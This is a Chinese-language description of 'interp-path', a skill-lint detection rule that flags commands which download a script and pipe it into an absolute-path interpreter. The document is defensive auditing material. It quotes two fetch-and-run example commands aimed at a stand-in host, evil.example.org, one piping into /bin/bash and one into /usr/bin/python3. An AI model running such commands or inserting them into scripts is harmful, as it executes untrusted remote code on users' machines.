interp-path 是 skill-lint 项目中的一个检测规则,从名称和示例看,它针对的是“解释器路径”相关的命令注入或远程代码执行风险模式。
用途 该规则用于在代码或技能定义中识别一类危险命令:先通过网络下载脚本内容,再通过管道直接交给解释器执行,且解释器使用绝对路径。资料给出的示例为: curl -s http://evil.example.org/p.sh | /bin/bash wget -O- http://evil.example.org/p.sh | /usr/bin/python3 这类模式常见于供应链攻击或恶意安装脚本,检测它的目的是在审计阶段提前发现风险。
主要能力 根据现有资料,只能确认它能够匹配上述形式的命令模式,即“下载工具 + 管道 + 绝对路径解释器”。资料未说明它是否支持其他下载工具、其他解释器、正则配置、白名单、严重级别或自动修复等能力。
使用方式 资料未提供该规则的具体使用方式,包括安装命令、调用参数、集成方式或输出格式,均暂未提供。
适用场景 从示例判断,它适用于安全审计、代码审查、技能或脚本入库前的静态检查等场景,帮助发现通过管道执行远程脚本的行为。
限制 资料仅包含两条示例命令,未提供规则实现细节、误报与漏报情况、支持的语言或平台范围,也未提供官方文档说明。因此除上述模式识别用途外,其余功能与使用细节暂未提供。